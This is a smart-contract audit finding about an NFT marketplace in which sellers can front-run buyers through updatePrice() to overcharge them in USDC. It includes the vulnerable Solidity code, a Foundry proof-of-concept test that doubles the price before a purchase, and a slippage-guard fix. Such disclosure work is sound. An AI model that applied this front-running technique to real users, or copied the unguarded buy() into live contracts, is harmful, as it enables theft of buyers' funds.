Seller Can Front-Run Buyers via updatePrice to Extract More USDC
Description
buy() reads listing.price directly from storage at execution time and transfers that exect amount from the buyer. There is no mechanism for the buyer to specify a maximum acceptable price. Because updatePrice() is unrestricted in timing, a seller can observe a pending buy() transaction in the mempool and front-run it with a higher price resulting in buyer paying the inflated price without concent.
function updatePrice(uint256 _listingId, uint32 _newPrice) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
uint256 oldPrice = listing.price;
if (!listing.isActive) revert ListingNotActive(_listingId);
require(_newPrice > 0, "Price must be greater than 0");
s_listings[_listingId].price = _newPrice;
emit NFT_Dealers_Price_Updated(_listingId, oldPrice, _newPrice);
}
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
}
Risk
Likelihood: High
-
Buyers routinely approve large of unlimited USDC allows to avoid repeated approvals, making this trivially exploitable without any additional setup on the attacker's side.
-
Any seller with an active listing can front-run every incoming buy() - no special privileges, no contract state required beyond being the listing owner.
Impact: High
-
The buyer pays more USDC than the price they agreed to, with no recourse - the trade is final and irreversible.
-
The excess USDC is locked in the contract as part of the seller's proceeds, effectively stolen from the buyer.
Proof of Concept
function test_FrontRunningBuyers() public {
vm.startBroadcast(owner);
nftDealers.whitelistWallet(seller);
nftDealers.revealCollection();
vm.stopBroadcast();
assertEq(nftDealers.whitelistedUsers(seller), true);
assertEq(nftDealers.isCollectionRevealed(), true);
vm.startBroadcast(seller);
usdc.approve(address(nftDealers), USDC_COLLATERAL);
nftDealers.mintNft();
vm.stopBroadcast();
uint256 tokenId = 1;
assertEq(nftDealers.ownerOf(tokenId), seller);
assertEq(nftDealers.collateralForMinting(tokenId), USDC_COLLATERAL);
assertEq(usdc.balanceOf(address(nftDealers)), INITIAL_USER_BALANCE + USDC_COLLATERAL);
assertEq(usdc.balanceOf(seller), INITIAL_USER_BALANCE - USDC_COLLATERAL);
uint32 sellingPrice = 40e6;
vm.prank(seller);
nftDealers.list(tokenId, sellingPrice);
(address _seller, uint32 _price, address _nft, uint256 _tokenId, bool _isActive) =
nftDealers.s_listings(tokenId);
assertEq(_seller, seller);
assertEq(_price, sellingPrice);
assertEq(_nft, address(nftDealers));
assertEq(_tokenId, tokenId);
assertEq(_isActive, true);
assertEq(nftDealers.ownerOf(tokenId), seller);
vm.prank(buyer);
usdc.approve(address(nftDealers), type(uint32).max);
uint32 doublePrice = sellingPrice * 2;
vm.prank(seller);
nftDealers.updatePrice(tokenId, doublePrice);
vm.prank(buyer);
nftDealers.buy(tokenId);
assertEq(nftDealers.ownerOf(tokenId), buyer);
assertLt(usdc.balanceOf(buyer), INITIAL_USER_BALANCE - sellingPrice);
assertEq(usdc.balanceOf(buyer), INITIAL_USER_BALANCE - doublePrice);
}
Recommended Mitigation
Add a maxPrice parameter to buy() and revert if the stored price exceeds it, giving buyers slippage protection equivalent to AMM deadline/slippage guards.
- function buy(uint256 _listingId) external payable {
+ function buy(uint256 _listingId, uint32 _maxPrice) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
+ require(listing.price <= _maxPrice, "Price exceeds maximum acceptable price");
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
}
